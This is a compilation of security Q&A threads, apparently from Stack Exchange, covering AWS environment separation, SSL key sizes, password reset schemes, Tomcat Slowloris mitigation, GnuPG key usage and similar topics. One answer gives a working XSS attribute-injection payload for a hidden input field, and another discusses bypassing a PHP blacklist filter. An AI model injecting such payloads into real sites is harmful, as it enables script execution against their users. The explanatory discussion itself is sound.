AWS Security - Dev Test Staging Production Environments Right now all our systems are in a traditional data center and traditional network topology.

We're planning to migrate to AWS and in doing so we're trying to figure out how to implement our dev/test/staging/production environments. Should we:

1) Have separate AWS accounts for each environment and use consolidated billing?

2) Create separate VPCs per environment? - keep in mind we'll likely want multiple regions/availability zones for High Availability

3) Separate subnets per environment. Or should we use separate subnets for web severs/database servers/management-administration type servers?

I've done some googling and reading and I can't find any clear cut answers. There seems to be a lot of mixed opinions. Mind you most of the posts I found weren't necessarily security minded folks so I thought I would ask here.

What are other folks doing for cloud security, network topology, and a layered approach to network security with AWS.

Based on our AWS DevSecOps oriented experience a mixture of 1, 2 and 3 would probably be the most effective solution.

1) Have separate AWS accounts for each environment and use consolidated billing?
Absolutely agree this was the official rec we've gotten from the AWS support at early 2017. The multi-account architecture segregating user-mgmt, security-audit-logging and shared-resources-services and project-app accounts will reduce the blast radius to the maximum possible.

Consider the following AWS official links as reference since the AWS Organization structure will depend on your specific requirements.

AWS Multiple Account Security Strategy: https://d0.awsstatic.com/aws-answers/AWS_Multi_Account_Security_Strategy.pdf
AWS Multiple Account Billing Strategy: https://aws.amazon.com/answers/account-management/aws-multi-account-billing-strategy/
Authentication and Access Control for AWS Organizations:
https://docs.aws.amazon.com/organizations/latest/userguide/orgs_permissions.html (keep in mind EC2 and other services can also use AWS IAM Roles to get secure cross-account access - Security Audit on AWS - question on findings)

For it's automation you'll have some alternatives like AWS python SDK + bash or terraform (consider that if your org has less than 10 accounts managing it from the AWS Web Console will be very straight forward). However keeping in id an IaC (InfraAsCode approach with Terraform or AWS Cloud Formation is almost a must do from our point of view).

How to Use AWS Organizations to Automate End-to-End Account Creation: https://aws.amazon.com/blogs/security/how-to-use-aws-organizations-to-automate-end-to-end-account-creation/
AWS Organization Terraform: https://github.com/binbashar/bb-devops-tf-aws-organizations

2) Create separate VPCs per environment? - keep in mind we'll likely want multiple regions/availability zones for High Availability
Since we assume we're going to implement multi-account AWS Org approach then will have at least 1 VCP per account x environment. In our case having one VPC in a certain region it's enough since for High-Availability, Self-healing, Redundancy and Resilience we use a multi-availability-zone (multi-az) configuration (eg: us-east-1a, us-east-1b and us-east-1c, will be extended in 3). Keep in mind choosing your region evaluation both network performance (latency - https://www.cloudping.info/) and costs (N.Virginia-us-east-1, Ohio-us-east-2, Orego-us-west-2 - https://www.concurrencylabs.com/blog/choose-your-aws-region-wisely/).

Post steps to have in mind:

VPC Peering: https://docs.aws.amazon.com/vpc/latest/peering/what-is-vpc-peering.html
Network ACLs: https://docs.aws.amazon.com/vpc/latest/userguide/vpc-recommended-nacl-rules.html
RouteTables and Routes: https://docs.aws.amazon.com/vpc/latest/peering/peering-configurations-partial-access.html
DNS Route53 private hosted zones association / sharing: https://aws.amazon.com/premiumsupport/knowledge-center/private-hosted-zone-different-account/
VPN solution: https://pritunl.com/

Let's consider the following info to evaluate if multi-region is also needed.
As defined in the official doc -> https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-regions-availability-zones.html Amazon EC2 is hosted in multiple locations world-wide. These locations are composed of Regions and Availability Zones. Each Region is a separate geographic area. Each Region has multiple, isolated locations known as Availability Zones

So for as hosting our HA Apps in a region but within isolated locations (datacenters) it's enough referening to the per region AWS SLA of:

AWS will use commercially reasonable efforts to make the Included Services each available for each AWS region with a Monthly Uptime Percentage of at least 99.99%
availability: 99.99%
durability: 99.999999999% (depends on the storage class)

If because of compliance frameworks you still need a Multi-Region active-active method: Then by architecting multi region applications and using DNS to balance between them in normal production status, you can adjust the DNS weighting and send all traffic to the AWS region that is available, this can even be performed automatically with Route53 or other DNS services that provide health check mechanisms as well as load balancing. For multi-region architecture please consider: https://aws.amazon.com/blogs/aws/latency-based-multi-region-routing-now-available-for-aws/

ref-sla-links:

https://aws.amazon.com/compute/sla/
https://aws.amazon.com/rds/sla/
https://aws.amazon.com/s3/sla/
https://aws.amazon.com/s3/storage-classes/

3) Separate subnets per environment. Or should we use separate subnets for web severs/database servers/management-administration type servers? To get the desired multi-az deploying for Production Grade environments at least 3 Private Subnets (through a redundant AWS Nat-GW - at least 2 of them in different az) and 3 Public Subnets (through Internet GW) of course each one in a separate AZ. And for Dev/Qa/Stg (can be consolidated in a single account for cost efficiency) and have at least 2 private and 2 public subnets in different AZs. This applies for EC2 & RDS (https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/Concepts.MultiAZ.html), for S3 versioning and multi-region replication it's recommended

Based on the before presented let's present our reference architecture.

AWS org multi-account architecture

user-mgmt-acct (centralized iam roles based cross-org approach - iam roles per accout to be assumed still needed).
security-audit-logging-acct (centralized account to have centralized logs like cloudtrail, vpc-flow-logs, alb and cloudfront access logs, among others, centralized firewall manager setup, or any other AWS service or sec&audit tool).
NOTE: To simplify the architecture the before mentioned accounts can be consolidated in only 1 account.
shared-resources-services-acct 1 x VPC + 2 prv-sub-nw + 2 public-sub-nw (multi-az) + 1 x nat-gw + VPC-Peering with project-X-app-accts (here you'll orchestrate your Software Development shared tools like, VPN Solution, Monitoring tools like prometheus and graphana, CI/CD server, maybe jenkins, drone, spinnaker, etc, multi-purpose infra K8s cluster, centralized logging solution like ELK or self hosted Splunk).
project-A-dev-stg-acct: 1 x VPC + 2 prv-sub-nw + 2 public-sub-nw (multi-az) + 1 x nat-gw + VPC-Peering with shared-resources-acct
project-A-prod-acct: 1 x VPC + 3 prv-sub-nw + 3 public-sub-nw (multi-az) + 2 x nat-gw + VPC-Peering with shared-resources-acct
project-B-dev-stg-acct: 1 x VPC + 2 prv-sub-nw + 2 public-sub-nw (multi-az) + 1 x nat-gw + VPC-Peering with shared-resources-acct
project-B-prod-acct: 1 x VPC + 3 prv-sub-nw + 3 public-sub-nw (multi-az) + 2 x nat-gw + VPC-Peering with shared-resources-acct

SECURITY - Miscellaneous

NOTE1: Remember to encrypt every service storage at rest at least with AWS encryption - https://docs.aws.amazon.com/aws-technical-content/latest/efs-encrypted-file-systems/encryption-of-data-at-rest.html

NOTE2: The 5 Pillars of the AWS Well-Architected Framework - https://aws.amazon.com/blogs/apn/the-5-pillars-of-the-aws-well-architected-framework/

NOTE3: AWS Tagging Strategies - https://aws.amazon.com/answers/account-management/aws-tagging-strategies/

NOTE4: Prevent AWS Secrets to git repository -  https://www.binbash.com.ar/archives/1038


Static detection of PE I'm doing in static analysis of PE file.

Can PE file have two or more executable sections?

How can we detect whether it is injected or not?

Can PE file have two or more executable sections?

Yes, it can, but it is atypical. Normally the compiler will make a section named ".text" with the correct permissions for executable code. But PE files in general can have multiple executable code section. A tool like PE Bear can tell you about the sections and their characteristics.

  How can we detect whether it is inject or not?

It's not clear to me what you mean by "it is inject." Do you mean that the PE tries to inject code into another process? If this is what you mean, then this could only be determined by reverse engineering and understanding the functionality of the PE. You could start by looking at imports. For example, if it is going to try and inject into another process it might import WriteProcessMemory, VirtualAllocEx, and other API functions related to memory reading and writing across process boundaries. Of course, these might be obfuscated in general so the imports might not be obvious.


Understanding 2048 bit SSL and 256 bit encryption On DigiCert's page, they advertise a 2048 bit SSL with a 256 bit encryption: http://www.digicert.com/256-bit-ssl-certificates.htm

What exactly is the difference here and why are two encryption bits being referenced?

Here's a screenshot of the ad:

On Geotrust's Premium SSL ad, they advertise it as:

Security: domain control validation, strong 256-bit encryption, 2048-bit root

So what's the difference between 256 bit encryption and 2048 bit root?

Hope that clarifies the question.

The 2048-bit is about the RSA key pair: RSA keys are mathematical objects which include a big integer, and a "2048-bit key" is a key such that the big integer is larger than 22047 but smaller than 22048.

The 256-bit is about SSL. In SSL, the server key is used only to transmit a random 256-bit key (that one does not have mathematical structure, it is just a bunch of bits); roughly speaking, the client generates a random 256-bit key, encrypts it with the server's RSA public key (the one which is in the server's certificate and is a "2048-bit key"), and sends the result to the server. The server uses its private RSA key to reverse the operation, and thus obtain the 256-bit key chosen by the client. Afterwards, client and server use the 256-bit to do symmetric encryption and integrity checks, and RSA is not used any further for that connection.

See this answer for some more details. This setup is often called "hybrid encryption". This is done because RSA is not appropriate for bulk encryption, but symmetric encryption cannot do the initial public/private business which is needed to get things started.

(SSL can do the key exchange with other algorithms than RSA so I have simplified description a bit in the text above, but that's the gist of the idea.)


What's the best, most unique (and uneditable) hardware id or key for each computer? I'm a C# programmer and I'm looking for the best way to "know" what hardware is running my software.  What is the best uneditable and unique "hardware id" in each computer?

Nothing is "uneditable"; what science can create, science can replicate with sufficient funding and time, particularly with a sample.

The closest you're going to reasonably get is a cryptographic dongle, something like a smartcard you provide with your software, after you've generated keys on said smartcard prior to shipment.  If you get a FIPS 140-2 Validated module which has an Overall Level of 4, that's the best I'm aware of within the United States.

You may not know what hardware is actually running your software, but you'll have a resonable amount of certainty that whatever's checking in via

Server sends app a cryptographically random message
App signs message with smartcard's private key

ECC 256 bit or higher, or RSA 2048 bit or higher
which you'd generated before you shipped the card

App sends signature to your server
Your server validates the signature against that smartcard's private key

does, in fact, have the smartcard readily available to them.

You'll need to work out how to supply replacement cards, of course.

And you'll need to spend some money.  The cheap version of this uses someting like a yubico product and foregoes FIPS certification, which at higher levels includes physical protections against subtle, hidden tampering (for instance, filling the interior with strong glue so it's very difficult to open it up, change it, and put it together again without leaving signs).


Pros and cons of this password reset scheme? I handle the process of password resets at the institution where I work. Currently, we require users to make up questions and answers (three minimum and five maximum); the questions cannot repeat, nor can the answers. When they forget their password, we require them to identify themselves by some known information (birth date and institution id) and then present them with one of their questions. This mechanism is causing us no end of headache, and I would like to replace it. I've read at least a couple answers here that I like, but I would like some thoughts on the following scheme:

User is required to provide a recovery email address
User forgets their password and goes to reset it. We present them with
an obfuscated version of the email address they supplied and at least
two more based on their recovery address, just at different providers,
and make them pick the right one
We send them a reset link to the right address if they picked it or
we simply tell them we sent them a reset link if they picked the
wrong one
When they click the link they are required to fill in a captcha, or a
code that was included in the email, in addition to their new
password

When we get the capability, I'd like to offer SMS or an authenticator app instead of/in addition to email.

Does this seem sufficiently "secure"?

User forgets their password and goes to reset it. We present them with
  an obfuscated version of the email address they supplied and at least
  two more based on their recovery address, just at different providers,
  and make them pick the right one

If the emails just differ by the email providers then it might be easy to guess. There is a good chance of picking the institutions domain name or the most popular domain in the region.

Differ the emails in some other ways in addition to this. For example, adding random numbers, institution name, last name, initials after a dot, etc... at the end of the email.

  We send them a reset link to the right address if they picked it or we
  simply tell them we sent them a reset link if they picked the wrong
  one

This is a good step in my opinion.

  When they click the link they are required to fill in a captcha, or a
  code that was included in the email, in addition to their new password

Links in each email will be unique, so you will know which email belongs to these links without a manual code. If the purpose of the code is making sure that he is a human, you can use a ReCaptcha. It is more suitable than a code.

However, I would suggest adding ReCaptcha at the beginning of the process instead of the end. You could add ReCaptcha to the page where the user selects the email.


What are the advantages of multi-level authentication? By multi-level authentication, I am referring to the fact that the user makes use of a primary username password keypair to log into his account. Then, to perform some other actions, such as authorize a transaction, he is required to reauthenticate himself by providing a secondary password or passphrase.

So, what are the advantages of multi-level authentication?  The only advantage that comes to my mind is that in case a user left his account open by mistake or someone knows the primary username and password, then they won't be able to do anything.

However, what about phishing, keylogging and man-in-the-browser attacks?  Am I right in saying that multi-level authentication provides no security at all against these types of attacks?  Thank you very much :)

If all authentication is done by typing passwords into the same device (your desktop client) - then, yes, key stroke loggers are still going to be an issue.  Keep in mind that when you separate authentication systems, you open up options to go to multifactor authentication, as well - if not now, then in the future - where you could use tokens, separate key pads, etc. - which could limit a simple key logger's ability to get the high privilege access.

Man in the middle - if the man in the middle is in the middle for both levels of authorization, then yes, that's an issue.  But most times I'd have been surprised to find that both took the same path.  So if you're talking about web browsing, then possibly.  But if it's access to the host, then access to something on the network - you may be talking about two paths, and the man in the middle would need access to both.

Social Engineering (including phishing) - Usually multilevel authentication comes with multilple rounds of training.  In the case of an admin account and a regular employee account, the employees usually get a long boring training session on the importance of security, which may or may not be effective.  Quite often admins with high risk accounts, are given a secondary round of training that is more pointed, and more along the lines of "mess this up in a big, careless way, and you'll be fired".  By giving and separating the password, it's often easier, administratively, to enforce this.

Other advantages:

Separate security processes - with two levels of passwords, there's an option to let the low level password store compromise on the side of availability while the high risk password store tends towards privacy.  For example:

the low level may provide federation services, remote access, services that support non-company devices, etc.  The high level store may require physical access to the building, encryption capabilities that aren't available on all devices, and higher-grade password quality.
separate storage - both live and in backup and in logging.  A high end system may require encrypted tape backup, securely stored audit logs for a certain period of time - being able to totally separate the infrastructure can be very helpful here.  High end storage is expensive, so less to store is a big win.
access monitoring - live monitoring of access attempts - a system far in the front of an infrastructure may invoke so many brute force attempts a day that you don't worry much about it until it becomes a DDOS.  A system nested deeply inside the infrastructure may be of serious concern every time the intrusion detection raises a flag.  Access monitoring may be staffed differently, monitored differently and reacted to differently.

I could probably dream up a few more.. but most of what I come up with as BIG wins are from a large scale organizational perspective where the focus is not just on the single user and their end machine, but on the system as a whole, and the need to trade cost vs. risk.


Wireshark: could "Follow TCP Stream" yield an empty window? or is it a bug? I am capturing a pop3 netcat connection (port 110) using Wireshark, on Debian linux (Kali). After filtering packets with (tcp.port eq 110) I get few packets but once I R.Click on any and click "Follow TCP Stream" I get empty window!

My question, is this a bug? (I found some ppl reporting it as a bug) or is this possible based on some conditions??

I tried to run Wireshark to analyze the pcap file, with root user and with limited user and the result is the same.

On some other packets I still can get contents on the TCP Stream window though.

Sure, it could be a bug.  Alternatively, if no packets containing data (all packets are empty) are included in the TCP stream, you'll also get an empty window.


How does a country block its citizens from accessing a site? Following Turkey's recent social site blocks, I am wondering how can you efficiently accomplish that as a country. Similar for a big company.

Blocking IPs → easy to circumvent, (proxys, tunnels, etc)
Blocking/Redirecting DNS → type the address or similar as above

Deep Packet Inspection → very resource intensive, can it be done in a scale of a whole country? And again, encrypting traffic, HTTPS, SSH etc…

Terminating all connections at country gateways, inspecting traffic, and then encrypting traffic again? Seems very very time consuming.

Is there any (obvious?) or other way I missed?

I am talking generally and not for Turkey's example. And dropping all encrypted traffic does not seem to be an option for a country.

You have covered the main ones. In short: it's very hard, if not impossible, to effectively block a site you want. You can make it hard by using the techniques you've mentioned: blocking IPs, redirecting DNS, blocking HTTP requests to certain sites / containing certain keywords.

These methods are thwartable by proxies (in the case of deep packet inspection, encrypted proxies would be required) so you end up with a chase situation: as you block a site, proxies will spring up, and as you block those proxies even more will start. The closest anyone has come is North Korea, and they manage this by controlling all sites in their country's intranet.

So the most effective methods:

Whitelist (North Korea's method) - Only allowing the sites you control.
Blocking all encrypted traffic + deep packet inspect (China's method) - this solution allows the communication that pass your criteria for what is acceptable and blocks communications that you are unable to determine the content of.

Both of these methods require complete control / authority over all the internet infrastructure in the area you want to censor.

As you've said, blocking all encrypted traffic doesn't really work - China has found this too: although they tried to, people are getting round this by using Steganography which is the practice of concealing messages, for example:

I am illustrating a hidden message because I
hate to see unanswered questions. I will help
you to understand.

Reading the first word from each line reveals the hidden message "I hate you" (there are, of course, more intelligent ways to to Steganography but that's just an illustration)


How can I protect my domain names without exposing too much personal information? I guess more specifically I want to know how to ensure I retain ownership by having sufficient contact information in the Administrative, Technical and Billing contact fields, but without exposing too much personal information.

I was thinking about using a P.O. Box instead of my address. Are there any downsides to that?

Or does this contact information have little to do with stopping social-engineering type attacks where someone might try and steal ownership of my domain names?

Many domain name services offer private registration. This means that they act as a go between for any information forwarded to the domain and yourself, protecting your privacy.

I.e. http://en.wikipedia.org/wiki/Domains_by_Proxy


How To Protect Tomcat 7 Against Slowloris Attack I'm using Apache Tomcat 7 to run my webapp on Linux. I scanned it by Acunetix and it's telling me that my webapp is vulnerable to "Slow HTTP Denial of Service Attack". How can I protect it?

Acunetix is reffering me to here, but it's about securing Apache, not Tomcat.

A CVE has been assigned specifically for this issue as it applies to Apache Tomcat: CVE-2012-5568. More appropriate references there than the one you were given.

The Tomcat developers do not consider this to be a vulnerability, and have no plans to fix.

Potential solutions:

Use firewall rules to prevent too many connections from a single host. This will mitigate run-of-the-mill Denial of Service attacks but not distributed ones (DDoS).

  Here is an example of an iptables command which can be used to limit the number
  of concurrent connections that can be established to port 80 from a single
  client host:

  # iptables -A INPUT -p tcp --syn --dport 80-m connlimit --connlimit-above 50 -j REJECT

https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2007-6750

This would, however, have side-effects if many users were legitimately connecting from a single IP (e.g. mega-proxy), so the number of connections would need to be tuned reasonably - dependant on the traffic expected.
Unfortunately, the best option is to place the Tomcat service downstream from a web server that can better handle HTTP connections, such as Apache. Then use an Apache solution such as mod_reqtimeout or mod_antiloris.


How to change (sub)key usage of a PGP key? gpg2 generates keys with one or several of the (S)igning, (E)ncryption, (C)ertification usages set. However, e.g. Enigmail creates a primary key also set for (A)uthentication, which GnuPG then shows. How can this be set/modified using gpg2? I can't find any command in --edit-keys, and when I create a subkey the only options are

 Please select what kind of key you want:
   (3) DSA (sign only)
   (4) RSA (sign only)
   (5) Elgamal (encrypt only)
   (6) RSA (encrypt only)

Since GnuPG 2.2.6 there's a hidden key-edit subcommand "change-usage" which does exactly that. Relevant commit.

Let's try this subcommand with a test key. Let's create one first:

mkdir /tmp/gpg-change-usage
chmod 700 /tmp/gpg-change-usage
gpg --homedir /tmp/gpg-change-usage --quick-generate-key someone@example.com rsa4096 cert 1d

Now notice that this new key is a certification only primary key.

$ gpg --homedir /tmp/gpg-change-usage -k
/tmp/gpg-change-usage/pubring.kbx
---------------------------------
pub   rsa4096 2019-04-04 [C] [expires: 2019-04-05]
      987BE3D9CF90B1C912A165734EBF4D26A937DE4C
uid           [ultimate] someone@example.com

Changing usage is a simple as this:

$ gpg --homedir /tmp/gpg-change-usage --edit-key someone@example.com
gpg (GnuPG) 2.2.12; Copyright (C) 2018 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Secret key is available.

sec  rsa4096/4EBF4D26A937DE4C
     created: 2019-04-04  expires: 2019-04-05  usage: C
     trust: ultimate      validity: ultimate
[ultimate] (1). someone@example.com

gpg> change-usage
Changing usage of the primary key.

Possible actions for a RSA key: Sign Certify Encrypt Authenticate
Current allowed actions: Certify

   (S) Toggle the sign capability
   (E) Toggle the encrypt capability
   (A) Toggle the authenticate capability
   (Q) Finished

Your selection? s

Possible actions for a RSA key: Sign Certify Encrypt Authenticate
Current allowed actions: Sign Certify

   (S) Toggle the sign capability
   (E) Toggle the encrypt capability
   (A) Toggle the authenticate capability
   (Q) Finished

Your selection? q

sec  rsa4096/4EBF4D26A937DE4C
     created: 2019-04-04  expires: 2019-04-05  usage: SC
     trust: ultimate      validity: ultimate
[ultimate] (1). someone@example.com

gpg> save

Notice now that our key gained signing capability.

$ gpg --homedir /tmp/gpg-change-usage -k
/tmp/gpg-change-usage/pubring.kbx
---------------------------------
pub   rsa4096 2019-04-04 [SC] [expires: 2019-04-05]
      987BE3D9CF90B1C912A165734EBF4D26A937DE4C
uid           [ultimate] someone@example.com

That's it!


Chrome >50: Where can I see the negotiated cipher suite? This is about Chrome 50 and later. When visiting an https site, where can I find the negotiated cipher suite?
I know where to find this info in previous versions of Chrome but I'm not able to find it in versions greater or equal to 50.

Update:
More recent Chrome versions make it both easier and harder.
The bad news: The “Details” link has been removed. Now you have to open the Developer Tools with Crtl+Shift+I or Cmd+Opt+I, or by clicking on the ⋮ Chrome menu > “More tools” > “Developer tools”, and then click on the “Security” tab.
More positively, the information has now been added to the “ Overview” section without reloading, and includes the key exchange group (e.g. the elliptic curve P-256).

another update: in the newest versions [I'm on the 64 bit version 59.0.3071.115] looks like there is a specific security tab to display this info in the Developer Tools:

Original Instructions

Click on the  lock icon in the location bar

Click on the “Details” link next to “Your connection to this site is private.” This opens the Security tab of the Developer Tools.

Reload the page.

The Security thing’s left column goes “ Overview”, “Main Origin”… Click on the next one, “⚫ https://security.stackexchange.com”.
Connection

    Protocol  TLS 1.2
Key Exchange  ECDHE_ECDSA
Cipher Suite  AES_128_GCM

Yay!


Is there an XSS vector for hidden input fields without using the HTML accesskey? I have some cases of cross-site scripting (XSS) in hidden HTML input fields.
There are some known XSS vectors that can be used for example using the HTML accesskey.

  XSS in hidden inputs is frequently very difficult to exploit because typical JavaScript events like onmouseover and onfocus can't be triggered due to the element being invisible.
  Source: http://blog.portswigger.net/2015/11/xss-in-hidden-input-fields.html

But the use of an so called accesskey takes a high user interaction. Is there another way to inject code here and have it execute without keypresses or a milder form of user interaction?

In my current case the three characters ()> are filtered.

I need an XSS vector that can be injected in this position:

<input type="hidden" name="[INJECTION]" />

Another reference to the accesskey XSS trick can be found here: https://www.davidsopas.com/xss-on-a-input-hidden-field/

Unless you can inject to change the type (e.g. to text), then there is no known vector to trigger XSS within a hidden input field without further user interaction.

e.g. With

<input name="[INJECTION]" type="hidden" />

You could inject

" type="text" onfocus="alert&#x28;'xss'&#x29;" autofocus="1

to render

<input name="" type="text" onfocus="alert&#x28;'xss'&#x29;" autofocus="1" type="hidden" />

However, unless you can get in before the already set type="hidden" or close the tag and start a new one (which you can't in your case due to filtered >), you're snookered.


Is it dangerous to install my work's 802.1x certificate? My employer, the University of Texas at Austin (UT), requires devices running some operating systems* to accept a certificate before they connect. Information about the certificate is available here:

https://management.pna.utexas.edu/howto/

After I accepted the certificate on my iPhone, I looked at the certificate settings (Settings > General > About) and didn't see any certificates listed, and I wasn't required to enter my iPhone's password, so I don't think I installed a root certificate.
My questions are:

Did I do anything other than trust that the WiFi network that I connected to is official University of Texas at Austin WiFi?
Will the UT network be able to perform Man in the Middle attacks on HTTPS/SSL encrypted sites without setting off an "Invalid Certificate" warning**?
Are there any other services (perhaps VPNs) that the UT network could spoof without setting off a certificate warning?

*So far, my iPhone requires me to accept the certificate but my Chromebook does not.

**They could perform a MitM attack on HTTP sites, but that's true to any WiFi network regardless of whether I accept a certificate.

This is definitely not a Root CA since the website specifically says :

  Verify that the certificate is for dot1x.utexas.edu and lists GeoTrust CA as the issuer.

The certificate purpose is to be used for the radius authentication for the wireless network of the university (more on Apple radius certificate)

Not being a root CA, they cannot MitM any https website provided you don't ignore security warning messages.


Is whatsapp messenger encryption similar to tls without a trusted authority? As per this post on quora whatsapp messenger application seems to use public key cryptography but without a third party trusted authority to verify the public key against.

Is it true? And if it is doesn't it leaves users open to man in the middle attack unless you manually verify the keys?

WhatsApp uses the Signal which is conceptually much closer to PGP than TLS (and it's use of certificate authorities).

The whatsapp website has a good overview and an in depth whitepaper if you'd like to understand it better.


Dynamic analysis of Swift application using Cycript or gdb I am doing analysis of a Swift iOS application. I am able to attach gdb or Cycript, but after that these tools are not able to do any method swizzling. I cant even call some method directly using Cycript, which is very easy in Objective C apps.

In gdb, I can set the breakpoint on the methods, but it's not able to detect the same method during execution. If there is a way for runtime analysis of Swift apps, please let me know.

Michael Gianarakis spoke about reversing Swift including hooking at the Hack-in-the Box conference in 2016 -- http://gsec.hitb.org/materials/sg2016/COMMSEC%20D1%20-%20Michael%20Gianarakis%20-%20Reverse%20Engineering%20Swift%20Applications.pdf

In particular, Michael goes over function hooking on getter methods (which work) and setters (which do not), as also discussed here -- https://web.archive.org/web/20151004101419/http://www.eswick.com/2014/06/inside-swift/

Some additional notes on function hooking and the ability to work it all together with MSHookFunction from Substrate is available here -- https://www.securify.nl/blog/SFY20150302/hooking_swift_methods_for_fun_and_profit.html

Here also is an older article on Swift method swizzling -- https://www.uraimo.com/2015/10/23/effective-method-swizzling-with-swift/

Finally, Michael makes mention to using macOS tools such as nm and xcrun to engineer a Swift-aware class-dump, but you can also check out this one here -- https://github.com/BlueCocoa/class-dump/


How to bypass the following PHP function I need to write PHP code in an application in which I have access to the code, because it is a white box.

However, I noticed that they use the following function:

function stripbadchars($str_chain){
    $bad_chars = array("/","\\","\"","'","?","#","+","~","<", ">", "*", "|", ":");

for($i=0;$i<sizeof($bad_chars); $i++){
     $str_chain = str_replace($bad_chars[$i], "", $str_chain);
}
return $str_chain;
}

When I write in a field of the <?php application, this one, comments to me in the following way: <--?php

And it gives it to me as html. Any way I could do a bypass?

Basically, this kind of mechanism is known as blacklist validation. Blacklist validation is weaker because a skilled attacker could evade your validation functions or send values that your function did not expect.

There are so many ways to bypass blacklist filters: https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

For your block of code, I used an HTML-encoded payload and it worked for me. Reason is your list does not account for this type of payload.

If you want to mitigate the XSS risk, then you should do:

1) White-list validation at server-side

White-listing only passes expected data using a regular expression for validating the data.

2) Contextual-output encoding:

See https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet.


Does exploit development have a future? Does exploit development have a future?

I mean there are a lot of fuzzers and they can find bugs better and with less time than humans.

And today's there are lots of great fuzzers.

I love exploit development, but is it worth it to learn exploit development today or not?

yes definitely, fuzzer just helps you to find a potentially vulnerable code. It can be a coding error but not a security issue. Fuzzing is also difficult, you need to come up with good seed test cases and then you can use tools like AFL to mutate them.

Once a crash is found, you can look into it and see if it is a security issue. And then you will go into a whole different domain - exploit development.

Operating System has a lot of protection mechanism by default nowadays and it makes exploit development much harder than before.

Exploit development is turning a bug into an arbitrary code execution and allows the attacker to hijack the privilege of the running process.


How bad is WEP security presently? I just discovered that a wireless network that I frequently connect to still uses WEP security. How bad is this for me, the end user of the network? What steps should I take to secure my devices, accounts, etc. until such time as the network switches to using WPA?

EDIT: I do not have control over the network's security, I am an end user and I wish to protect myself from the implications of using a network with WEP. I do not care about issues that the access point faces, only the issues that I might personally face as a person who uses the network. I also do not care about theoretical exploits (such as traffic being decryptable) as much as specific things which might be different (such as people being able to steal my login information).

WEP might as well be open these days. If you have to use a known insecure network - use a VPN. That's what they're for. Attacker can see you're running nothing but encrypted traffic to a single endpoint, and can infer that you have a VPN, but that introduces an entirely different class of issues, tools, and skills to attempt to compromise.


How do spammers verify the validity of a huge amount of email addresses? I noticed that there is an email address validation method, that is to telnet to a email MX server and send rcpt command to the server.
But for this method, the MX server may abort connection after several tests.

However, on Internet, there are many websites which claim that they can verify large amount of email addresses in short time, and they provide such services with charges.

I'm wondering how do these email verification companies/websites verify large amount of email addresses?

They don't, it takes less work for them to simply send emails out to invalid addresses than it does to weed out the invalid ones.


Is exploit-free software possible? I have heard that there will always be vulnerabilities in codes, software. However, I don't understand why it is not possible to have an exploit-free software. If companies keep updating their software, eventually there will be no vulnerabilities, right?

Software is too complex

This is by far the most important factor. Even if you just look at something like a web application, the amount of work hours put into the codebase is immense. The code works with technologies, who's standards are pages over pages long, written decades ago, and which offers features that most developers have never even heard of.

Combine that with the fact that modern software is built on libraries, which are built on libraries, which abstract away some low-level library based on some OS functionality, which again is just a wrapper for some other OS function written in the 1990s.

The modern tech stack is just too big for one person to fully grok, even if you exclude the OS side of things, which leads to the next point:

Knowledge gets lost over time

SQL Injections are now 20 years old. They are still around. How so? One factor to consider is that knowledge inside a company gets lost over time. You may have one or two senior developers, who know and care about security, who make sure that their code isn't vulnerable against SQL injections, but those seniors will eventually take on different positions, change companies or retire. New people will take their place, and they may be just as good developers, but they don't know or care about security. As a result, they might not know or care about the problem, and thus not look for them.

People are taught the wrong way

Another point is that security isn't really something that schools care about. I recall the first lesson about using SQL in Java, and my teacher used string concatenation to insert parameters into a query. I told him that was insecure, and got yelled at for disturbing the lesson. All the students in this class have seen that string concatenation is the way to go - after all, that's how the teacher did it, and the teacher would never teach anything wrong, right?

All those students would now go into the world of development and happily write SQL code that is easily injectable, just because nobody cares. Why does nobody care? Because

Companies are not interested in "perfect code"

That's a bold statement, but it's true. To a company, they care about investment and returns. They "invest" the time of their developers (which costs the company a specific amount of money), and they expect features in return, which they can sell to customers. Features to sell include:

Software can now work with more file formats
Software now includes in-app purchases
Software looks better
Software makes you look better
Software works faster
Software seamlessly integrates into your workflow

What companies can't sell you is the absence of bugs. "Software is not vulnerable against XSS" is not something you can sell, and thus not something companies want to invest money in. Fixing security issues is much like doing your laundry - nobody pays you to do it, nobody praises you for doing it, and you probably don't feel like doing it anyways, but you still have to.

And one more final point:

You can't test for the absence of bugs

What this means is, you can never be certain if your code contains any bugs. You can't prove that some software is secure, because you can't see how many bugs there are left. Let me demonstrate this:

function Compare(string a, string b)
{
    if (a.Length != b.Length)
    {
        // If the length is not equal, we know the strings will not be equal
        return -1;
    }
    else
    {
        for(int i = 0; i < a.Length; i++)
        {
            if(a[i] != b[i])
            {
                // If one character mismatches, the string is not equal
                return -1;
            }
        }

        // Since no characters mismatched, the strings are equal
        return 0;
    }
}

Does this code look secure to you? You might think so. It returns 0 if strings are equal and -1 if they're not. So what's the problem? The problem is that if a constant secret is used for one part, and attacker-controlled input for the other, then an attacker can measure the time it takes for the function to complete. If the first 3 characters match, it'll take longer than if no characters match.

This means that an attacker can try various inputs and measure how long it will take to complete. The longer it takes, the more consecutive characters are identical. With enough time, an attacker can eventually find out what the secret string is. This is called a side-channel attack.

Could this bug be fixed? Yes, of course. Any bug can be fixed. But the point of this demonstration is to show that bugs are not necessarily clearly visible, and fixing them requires that you are aware of them, know how to fix them, and have the incentive to do so.

In Summary...

I know this is a long post, so I am not blaming you for skipping right to the end. The quick version is, writing exploit-free code is really really hard, and becomes exponentially harder the more complex your software becomes. Every technology your software uses, be it the web, XML or something else, gives your codebase thousands of additional exploitation vectors. In addition, your employer might not even care about producing exploit-free code - they care about features they can sell. And finally, can you ever really be sure it's exploit free? Or are you just waiting for the next big exploit to hit the public?


Snapchat identity theft Someone has created a fake Snapchat account using my exact name. They added several of my friends and sent them snapchats using pictures of me from my instagram account . How can I find the orientation of the account ?

As rook said, you should report the fake account to the service provider.

Apart from that I would suggest that you read this little article about social networking site privacy. Then, consider protecting yourself against similar incidents in the futureby Improving your privacy on social media.

Since you've mentions images from your Instagram account were used, consider securing your Instagram account.


PKCS#5 Salt privacy? Possible Duplicate:
  Password Hashing add salt + pepper or is salt enough?

